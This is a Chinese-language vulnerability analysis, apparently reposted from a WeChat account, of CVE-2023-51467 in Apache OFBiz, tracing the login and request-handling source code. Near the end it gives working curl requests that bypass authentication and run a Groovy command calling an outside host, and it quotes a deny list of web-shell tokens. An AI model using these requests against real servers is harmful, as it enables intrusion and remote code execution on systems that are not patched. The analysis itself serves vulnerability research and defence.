Apache OFBiz
├── framework/ - Core framework of OFBiz
├── base - Fundamental framework components and services.
├── common - Resources and utilities used throughout the framework
├── entity - Entity engine and data access
├── webapp - Web application components
├── webtools - Contains webtools
├── component-load.xml -
├── applications/ - Various app components with each having subdirectory containing configuration files, entity definitions etc ...
├── runtime/ - Runtime config files, logs, cache
├── plugins/ - External plugins to extend framework abilities
component-name-here/
├── config/ - Properties and translation labels (i18n)
├── data/ - XML data to load into the database
├── entitydef/ - Defined database entities
├── groovyScripts/ - A collection of scripts written in Groovy
├── minilang/ - A collection of scripts written in minilang (deprecated)
├── ofbiz-component.xml - The OFBiz main component configuration file
├── servicedef - Defined services.
├── src/
├── docs/ - component documentation source
└── main/java/ - java source code
└── test/java/ - java unit-tests
├── testdef - Defined integration-tests
├── webapp - One or more Java webapps including the control servlet
└── widget - Screens, forms, menus and other widgets
323: public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {
324: GenericValue userLogin = checkLogout(request, response);
325: // have to reget this because the old session object will be invalid
326: HttpSession session = request.getSession();
327:
328: String username = null;
329: String password = null;
330: String token = null;
331:
332: if (userLogin == null) {
333: // check parameters
334: username = request.getParameter("USERNAME");
335: password = request.getParameter("PASSWORD");
336: token = request.getParameter("TOKEN");
337: // check session attributes
338: if (username == null) username = (String) session.getAttribute("USERNAME");
339: if (password == null) password = (String) session.getAttribute("PASSWORD");
340: if (token == null) token = (String) session.getAttribute("TOKEN");
-
该checkLogin()方法首先调用另一个方法checkLogout()来验证用户是否已注销。结果存储在名为 userLogin 的 GenericValue 对象中。 -
然后,代码检索 HttpSession 对象,该对象用于管理用户的会话特定信息。 -
三个变量,即username、password、 和token被初始化为null。这些变量将用于存储用户凭据。 -
如果 userLogin 为null,则意味着用户尚未登录。代码将继续检查请求参数(USERNAME、PASSWORD 和 TOKEN)以及用户凭据的会话属性。
password
token
not null
empty
342: // in this condition log them in if not already; if not logged in or can't log in, save parameters and return error
343: if (username == null
344: || (password == null && token == null)
345: || "error".equals(login(request, response))) {
346:
347: // make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error
348: request.removeAttribute("_LOGIN_PASSED_");
349:
350: // keep the previous request name in the session
351: session.setAttribute("_PREVIOUS_REQUEST_", request.getPathInfo());
352:
353: // NOTE: not using the old _PREVIOUS_PARAMS_ attribute at all because it was a security hole as it was used to put data in the URL (never encrypted) that was originally in a form field that may have been encrypted
354: // keep 2 maps: one for URL parameters and one for form parameters
355: Map<String, Object> urlParams = UtilHttp.getUrlOnlyParameterMap(request);
356: if (UtilValidate.isNotEmpty(urlParams)) {
357: session.setAttribute("_PREVIOUS_PARAM_MAP_URL_", urlParams);
358: }
359: Map<String, Object> formParams = UtilHttp.getParameterMap(request, urlParams.keySet(), false);
360: if (UtilValidate.isNotEmpty(formParams)) {
361: session.setAttribute("_PREVIOUS_PARAM_MAP_FORM_", formParams);
362: }
363:
364: //if (Debug.infoOn()) Debug.logInfo("checkLogin: PathInfo=" + request.getPathInfo(), module);
365:
366: return "error";
367: }
368: }
-
删除属性 ( _LOGIN_PASSED_ ) 并在会话中设置_PREVIOUS_REQUEST_属性,存储请求的路径。 -
将 URL 参数和表单参数存储在会话中单独的映射(_PREVIOUS_PARAM_MAP_URL_和_PREVIOUS_PARAM_MAP_FORM_ )中。 -
返回字符串error。
391: public static String login(HttpServletRequest request, HttpServletResponse response) {
392: HttpSession session = request.getSession();
393:
394: // Prevent session fixation by making Tomcat generate a new jsessionId (ultimately put in cookie).
395: if (!session.isNew()) { // Only do when really signing in.
396: request.changeSessionId();
397: }
398:
399: Delegator delegator = (Delegator) request.getAttribute("delegator");
400: String username = request.getParameter("USERNAME");
401: String password = request.getParameter("PASSWORD");
402: String token = request.getParameter("TOKEN");
403: String forgotPwdFlag = request.getParameter("forgotPwdFlag");
404:
405: // password decryption
406: EntityCrypto entityDeCrypto = null;
407: try {
408: entityDeCrypto = new EntityCrypto(delegator, null);
409: } catch (EntityCryptoException e1) {
410: Debug.logError(e1.getMessage(), module);
411: }
412:
413: if(entityDeCrypto != null && "true".equals(forgotPwdFlag)) {
414: try {
415: Object decryptedPwd = entityDeCrypto.decrypt(keyValue, ModelField.EncryptMethod.TRUE, password);
416: password = decryptedPwd.toString();
417: } catch (GeneralException e) {
418: Debug.logError(e, "Current Password Decryption failed", module);
419: }
420: }
421:
422: if (username == null) username = (String) session.getAttribute("USERNAME");
423: if (password == null) password = (String) session.getAttribute("PASSWORD");
424: if (token == null) token = (String) session.getAttribute("TOKEN");
-
该方法首先从请求参数中检索委托人、用户名、密码、令牌以及指示密码是否正在重置的标志 ( forgotPwdFlag)。 -
如果forgotPwdFlag设置为true,它将尝试使用 EntityCrypto 实例解密密码。如果请求中缺少任何参数(用户名、密码或令牌),它会尝试从会话属性中检索它们。
426: // allow a username and/or password in a request attribute to override the request parameter or the session attribute; this way a preprocessor can play with these a bit...
427: if (UtilValidate.isNotEmpty(request.getAttribute("USERNAME"))) {
428: username = (String) request.getAttribute("USERNAME");
429: }
430: if (UtilValidate.isNotEmpty(request.getAttribute("PASSWORD"))) {
431: password = (String) request.getAttribute("PASSWORD");
432: }
433: if (UtilValidate.isNotEmpty(request.getAttribute("TOKEN"))) {
434: token = (String) request.getAttribute("TOKEN");
435: }
436:
437: List<String> unpwErrMsgList = new LinkedList<String>();
438: if (UtilValidate.isEmpty(username)) {
439: unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
440: }
441: if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
442: unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
443: }
444: boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
445: if (!unpwErrMsgList.isEmpty()) {
446: request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
447: return requirePasswordChange ? "requirePasswordChange" : "error";
448: }
30: <webapp name="webtools"
31: title="WebTools"
32: position="12"
33: server="default-server"
34: location="webapp/webtools"
35: base-permission="OFBTOOLS,WEBTOOLS"
36: mount-point="/webtools"/>
102: <servlet>
103: <description>Main Control Servlet</description>
104: <display-name>ControlServlet</display-name>
105: <servlet-name>ControlServlet</servlet-name>
106: <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
107: <load-on-startup>1</load-on-startup>
108: </servlet>
109: <servlet-mapping>
110: <servlet-name>ControlServlet</servlet-name>
111: <url-pattern>/control/*</url-pattern>
112: </servlet-mapping>
-
servlet-name指定 servlet 的名称,在本例中,ControlServlet -
servlet-class指定控制 servlet 的完全限定类名 ( org.apache.ofbiz.webapp.control.ControlServlet)。 -
url-pattern定义 servlet 映射到的 URL 模式。在这里,它是 /control/*,意味着控制 servlet 将处理 URL 以 开头的请求/control/。
/webtools/control
.65: <request-map uri="ping">
66: <security auth="true"/>
67: <event type="service" invoke="ping"/>
68: <response name="error" type="view" value="ping"/>
69: <response name="success" type="view" value="ping"/>
70: </request-map>
.
.
419: <request-map uri="ProgramExport">
420: <security https="true" auth="true"/>
421: <response name="success" type="view" value="ProgramExport"/>
422: <response name="error" type="view" value="ProgramExport"/>
423: </request-map>
-
在本例中,这些request-map元素定义了特定 URI 的映射ping。 -
该security元素指定与安全相关的属性。auth=true表示访问端点时必须进行身份验证/ping。 -
该event元素定义访问指定 URI 时要触发的事件。 -
该response元素指定要返回的响应。
grep -r "controller.xml" . --include "*.java"
./framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/ScreenRenderer.java: * @param combinedName A combination of the resource name/location for the screen XML file and the name of the screen within that file, separated by a pound sign ("#"). This is the same format that is used in the view-map elements on the controller.xml file.
./framework/widget/src/main/java/org/apache/ofbiz/widget/WidgetWorker.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java: public static final String controllerXmlFileName = "/WEB-INF/controller.xml";
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java: // find controller.xml file with webappMountPoint + "/WEB-INF" in the path
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java: // look through all controller.xml files and find those with the request-uri referred to by the target
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: // FIXME: controller.xml errors should throw an exception.
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: // FIXME: controller.xml errors should throw an exception.
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: // If we can't read the controller.xml file, then there is no point in continuing.
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: // If we can't read the controller.xml file, then there is no point in continuing.
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ArtifactInfoFactory.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ArtifactInfoFactory.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ControllerRequestArtifactInfo.java: if (location.endsWith("/WEB-INF/controller.xml")) {
./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ControllerViewArtifactInfo.java: if (location.endsWith("/WEB-INF/controller.xml")) {
./applications/product/src/main/java/org/apache/ofbiz/product/category/SeoContextFilter.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
62: public static final String module = ConfigXMLReader.class.getName();
63: public static final String controllerXmlFileName = "/WEB-INF/controller.xml";
.
.
153: public static URL getControllerConfigURL(ServletContext context) {
154: try {
155: return context.getResource(controllerXmlFileName);
156: } catch (MalformedURLException e) {
157: Debug.logError(e, "Error Finding XML Config File: " + controllerXmlFileName, module);
158: return null;
159: }
160: }
.
.
458: public static class RequestMap {
459: public String uri;
460: public String method;
461: public boolean edit = true;
462: public boolean trackVisit = true;
463: public boolean trackServerHit = true;
464: public String description;
465: public Event event;
466: public boolean securityHttps = true;
467: public boolean securityAuth = false;
468: public boolean securityCert = false;
469: public boolean securityExternalView = true;
470: public boolean securityDirectRequest = true;
471: public Map<String, RequestResponse> requestResponseMap = new HashMap<String, RequestResponse>();
472: public Metrics metrics = null;
473:
474: public RequestMap(Element requestMapElement) {
475: // Get the URI info
476: this.uri = requestMapElement.getAttribute("uri");
477: this.method = requestMapElement.getAttribute("method");
478: this.edit = !"false".equals(requestMapElement.getAttribute("edit"));
479: this.trackServerHit = !"false".equals(requestMapElement.getAttribute("track-serverhit"));
480: this.trackVisit = !"false".equals(requestMapElement.getAttribute("track-visit"));
481: // Check for security
482: Element securityElement = UtilXml.firstChildElement(requestMapElement, "security");
483: if (securityElement != null) {
484: if (!UtilProperties.propertyValueEqualsIgnoreCase("url", "no.http", "Y")) {
485: this.securityHttps = "true".equals(securityElement.getAttribute("https"));
486: } else {
487: String httpRequestMapList = UtilProperties.getPropertyValue("url", "http.request-map.list");
488: if (UtilValidate.isNotEmpty(httpRequestMapList)) {
489: List<String> reqList = StringUtil.split(httpRequestMapList, ",");
490: if (reqList.contains(this.uri)) {
491: this.securityHttps = "true".equals(securityElement.getAttribute("https"));
492: }
493: }
494: }
495: this.securityAuth = "true".equals(securityElement.getAttribute("auth"));
496: this.securityCert = "true".equals(securityElement.getAttribute("cert"));
497: this.securityExternalView = !"false".equals(securityElement.getAttribute("external-view"));
498: this.securityDirectRequest = !"false".equals(securityElement.getAttribute("direct-request"));
499: }
500: // Check for event
501: Element eventElement = UtilXml.firstChildElement(requestMapElement, "event");
502: if (eventElement != null) {
503: this.event = new Event(eventElement);
504: }
505: // Check for description
506: this.description = UtilXml.childElementValue(requestMapElement, "description");
507: // Get the response(s)
508: for (Element responseElement : UtilXml.childElementList(requestMapElement, "response")) {
509: RequestResponse response = new RequestResponse(responseElement);
510: requestResponseMap.put(response.name, response);
511: }
512: // Get metrics.
513: Element metricsElement = UtilXml.firstChildElement(requestMapElement, "metric");
514: if (metricsElement != null) {
515: this.metrics = MetricsFactory.getInstance(metricsElement);
516: }
517: }
518: }
158: private RequestHandler(ServletContext context) {
159: // init the ControllerConfig, but don't save it anywhere, just load it into the cache
160: this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context);
161: try {
162: ConfigXMLReader.getControllerConfig(this.controllerConfigURL);
163: } catch (WebAppConfigurationException e) {
164: // FIXME: controller.xml errors should throw an exception.
165: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
166: }
167: this.viewFactory = new ViewFactory(context, this.controllerConfigURL);
168: this.eventFactory = new EventFactory(context, this.controllerConfigURL);
169:
170: this.trackServerHit = !"false".equalsIgnoreCase(context.getInitParameter("track-serverhit"));
171: this.trackVisit = !"false".equalsIgnoreCase(context.getInitParameter("track-visit"));
172:
173: hostHeadersAllowed = UtilMisc.getHostHeadersAllowed();
174:
175: }
.
.
240: public void doRequest(HttpServletRequest request, HttpServletResponse response, String chain,
241: GenericValue userLogin, Delegator delegator) throws RequestHandlerException, RequestHandlerExceptionAllowExternalRequests {
242:
243: if (!hostHeadersAllowed.contains(request.getServerName())) {
244: Debug.logError("Domain " + request.getServerName() + " not accepted to prevent host header injection."
245: + " You need to set host-headers-allowed property in security.properties file.", module);
246: throw new RequestHandlerException("Domain " + request.getServerName() + " not accepted to prevent host header injection."
247: + " You need to set host-headers-allowed property in security.properties file.");
248: }
249:
250: final boolean throwRequestHandlerExceptionOnMissingLocalRequest = EntityUtilProperties.propertyValueEqualsIgnoreCase(
251: "requestHandler", "throwRequestHandlerExceptionOnMissingLocalRequest", "Y", delegator);
252: long startTime = System.currentTimeMillis();
253: HttpSession session = request.getSession();
254:
255: // Parse controller config.
256: try {
257: ccfg = new ControllerConfig(getControllerConfig());
258: } catch (WebAppConfigurationException e) {
259: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
260: throw new RequestHandlerException(e);
261: }
262:
263: // workaround if we are in the root webapp
264: String cname = UtilHttp.getApplicationName(request);
265:
266: // Grab data from request object to process
267: String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo());
268:
269: String requestMissingErrorMessage = "Unknown request ["
270: + defaultRequestUri
271: + "]; this request does not exist or cannot be called directly.";
272:
273: String path = request.getPathInfo();
274: String requestUri = getRequestUri(path);
275: String overrideViewUri = getOverrideViewUri(path);
276:
277: Collection<RequestMap> rmaps = resolveURI(ccfg, request);
278: if (rmaps.isEmpty()) {
.
.
-
该代码以传入请求的 ServerName(主机标头)开始,该服务器名称位于 hostHeadersAllowed 列表中。如果没有,它会记录一个错误并抛出一个 RequestHandlerException。 -
然后,它解析该controller.xml文件以获取配置 ( ControllerConfig) 并设置变量,例如应用程序名称 (cname)、默认请求 URI 和路径。调试所有这些变量如何发挥作用的一个好方法是在函数处设置断点doRequest()并逐行执行打印变量和值。
-
再往下,它检查解析的请求映射 (rmaps) 集合是否为空,然后继续处理 HTTP 方法。
482: if (requestMap.securityAuth) {
483: // Invoke the security handler
484: // catch exceptions and throw RequestHandlerException if failed.
485: if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler]: AuthRequired. Running security check. " + showSessionId(request), module);
486: ConfigXMLReader.Event checkLoginEvent = ccfg.getRequestMapMap().getFirst("checkLogin").event;
487: String checkLoginReturnString = null;
488:
489: try {
490: checkLoginReturnString = this.runEvent(request, response, checkLoginEvent, null, "security-auth");
491: } catch (EventHandlerException e) {
492: throw new RequestHandlerException(e.getMessage(), e);
493: }
494: if (!"success".equalsIgnoreCase(checkLoginReturnString)) {
495: // previous URL already saved by event, so just do as the return says...
496: eventReturn = checkLoginReturnString;
497: // if the request is an ajax request we don't want to return the default login check
498: if (!"XMLHttpRequest".equals(request.getHeader("X-Requested-With"))) {
499: requestMap = ccfg.getRequestMapMap().getFirst("checkLogin");
500: } else {
501: requestMap = ccfg.getRequestMapMap().getFirst("ajaxCheckLogin");
502: }
503: }
504: } else {
505: String[] loginUris = EntityUtilProperties.getPropertyValue("security", "login.uris", delegator).split(",");
506: boolean removePreviousRequest = true;
507: for (int i = 0; i < loginUris.length; i++) {
508: if (requestUri.equals(loginUris[i])) {
509: removePreviousRequest = false;
510: }
511: }
512: if (removePreviousRequest) {
513: // Remove previous request attribute on navigation to non-authenticated request
514: request.getSession().removeAttribute("_PREVIOUS_REQUEST_");
515: }
516: }
-
该代码检查是否requestMap.securityAuth为真,如果是,则调用名为 的安全处理程序checkLogin()。 -
事件的返回值checkLogin()被存储checkLoginReturnString,如果返回值不是success(不区分大小写),则表明身份验证失败。
curl --insecure "https://localhost:8443/webtools/control/ping?USERNAME&PASSWORD=&requirePasswordChange=Y"
31: String groovyProgram = null
32: recordValues = []
33: errMsgList = []
34:
35: if (!parameters.groovyProgram) {
36: groovyProgram = '''
37: // Use the List variable recordValues to fill it with GenericValue maps.
38: // full groovy syntaxt is available
39:
40: import org.apache.ofbiz.entity.util.EntityFindOptions
41:
42: // example:
43:
44: // find the first three record in the product entity (if any)
45: EntityFindOptions findOptions = new EntityFindOptions()
46: findOptions.setMaxRows(3)
47:
48: List products = delegator.findList("Product", null, null, null, findOptions, false)
49: if (products != null) {
50: recordValues.addAll(products)
51: }
52:
53:
54: '''
55: parameters.groovyProgram = groovyProgram
56: } else {
57: groovyProgram = parameters.groovyProgram
58: }
71: ClassLoader loader = Thread.currentThread().getContextClassLoader()
72: def shell = new GroovyShell(loader, binding, configuration)
73:
74: if (UtilValidate.isNotEmpty(groovyProgram)) {
75: try {
76: if (!org.apache.ofbiz.security.SecuredUpload.isValidText(groovyProgram,["import"])) {
77: request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
78: return
79: }
80: shell.parse(groovyProgram)
81: shell.evaluate(groovyProgram)
82: recordValues = shell.getVariable("recordValues")
83: xmlDoc = GenericValue.makeXmlDocument(recordValues)
84: context.put("xmlDoc", xmlDoc)
85: } catch(MultipleCompilationErrorsException e) {
86: request.setAttribute("_ERROR_MESSAGE_", e)
87: return
88: } catch(groovy.lang.MissingPropertyException e) {
89: request.setAttribute("_ERROR_MESSAGE_", e)
90: return
91: } catch(IllegalArgumentException e) {
92: request.setAttribute("_ERROR_MESSAGE_", e)
93: return
94: } catch(NullPointerException e) {
95: request.setAttribute("_ERROR_MESSAGE_", e)
96: return
97: } catch(Exception e) {
98: request.setAttribute("_ERROR_MESSAGE_", e)
99: return
100: }
101: }
100: private static final List<String> DENIEDWEBSHELLTOKENS = deniedWebShellTokens();
.
.
623: public static boolean isValidText(String content, List<String> allowed) throws IOException {
624: return DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token, allowed));
625: }
.
.
644: private static List<String> deniedWebShellTokens() {
645: String deniedTokens = UtilProperties.getPropertyValue("security", "deniedWebShellTokens");
646: return UtilValidate.isNotEmpty(deniedTokens) ? StringUtil.split(deniedTokens, ",") : new ArrayList<>();
647: }
deniedWebShellTokens=freemarker,import="java,runtime.getruntime().exec(,<%@ page,<script,<body>,<form,php,javascript,%eval,@eval,import os,passthru,exec,shell_exec,assert,str_rot13,system,phpinfo,base64_decode,chmod,mkdir,fopen,fclose,new file,import,upload,getfilename,download,getoutputstring,readfile
curl -vv -X POST "https://localhost:8443/webtools/control/ProgramExport?USERNAME&PASSWORD=test&requirePasswordChange=Y" -d 'groovyProgram=def%20result%20%3D%20%22curl%20https%3A%2F%2Fen3d5squ4eacq.x.pipedream.net%22.execute().text%3B' --insecure
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):分析 CVE-2023-51467 – Apache OFBiz 身份验证绕过远程代码执行